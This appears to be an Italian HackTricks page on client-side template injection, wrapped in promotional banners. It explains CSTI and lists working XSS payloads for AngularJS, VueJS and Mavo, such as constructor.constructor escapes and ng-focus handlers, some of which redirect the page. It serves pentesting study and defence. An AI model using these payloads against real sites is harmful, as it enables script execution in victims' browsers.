6.9 KiB
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale PEASS & HackTricks
- Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.
Riassunto
È simile a un Injection di Template lato server ma sul client. Il SSTI può permetterti di eseguire codice sul server remoto, il CSTI potrebbe permetterti di eseguire codice JavaScript arbitrario nel browser della vittima.
Il Testing di questa vulnerabilità è molto simile a quello del SSTI, l'interprete si aspetta un template e lo eseguirà. Ad esempio, con un payload come {{ 7-7 }}
, se l'app è vulnerabile vedrai un 0
, altrimenti vedrai l'originale: {{ 7-7 }}
AngularJS
AngularJS è un framework JavaScript ampiamente utilizzato che interagisce con HTML attraverso attributi noti come direttive, una nota è ng-app
. Questa direttiva consente ad AngularJS di elaborare il contenuto HTML, consentendo l'esecuzione di espressioni JavaScript all'interno delle doppie parentesi graffe.
Nei casi in cui l'input dell'utente viene inserito dinamicamente nel corpo HTML contrassegnato con ng-app
, è possibile eseguire codice JavaScript arbitrario. Questo può essere ottenuto sfruttando la sintassi di AngularJS all'interno dell'input. Di seguito sono riportati esempi che dimostrano come il codice JavaScript può essere eseguito:
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Puoi trovare un esempio online molto basilare della vulnerabilità in AngularJS in http://jsfiddle.net/2zs2yv7o/ e in Burp Suite Academy
{% hint style="danger" %}
Angular 1.6 ha rimosso il sandbox quindi da questa versione un payload come {{constructor.constructor('alert(1)')()}}
o <input ng-focus=$event.view.alert('XSS')>
dovrebbe funzionare.
{% endhint %}
VueJS
Puoi trovare un'implementazione vulnerabile di Vue in https://vue-client-side-template-injection-example.azu.now.sh/
Payload funzionante: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%
E il codice sorgente dell'esempio vulnerabile è qui: https://github.com/azu/vue-client-side-template-injection-example
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
Una guida davvero utile su CSTI in VUE può essere trovata su https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets
V3
{{_openBlock.constructor('alert(1)')()}}
Credit: Gareth Heyes, Lewis Ardern & PwnFunction
V2
{{constructor.constructor('alert(1)')()}}
Credit: Mario Heiderich
Controlla più payload VUE in https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected
Mavo
Payload:
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
Altri payload in https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
Elenco di rilevamento Brute-Force
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PACCHETTI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
- Unisciti al 💬 Gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.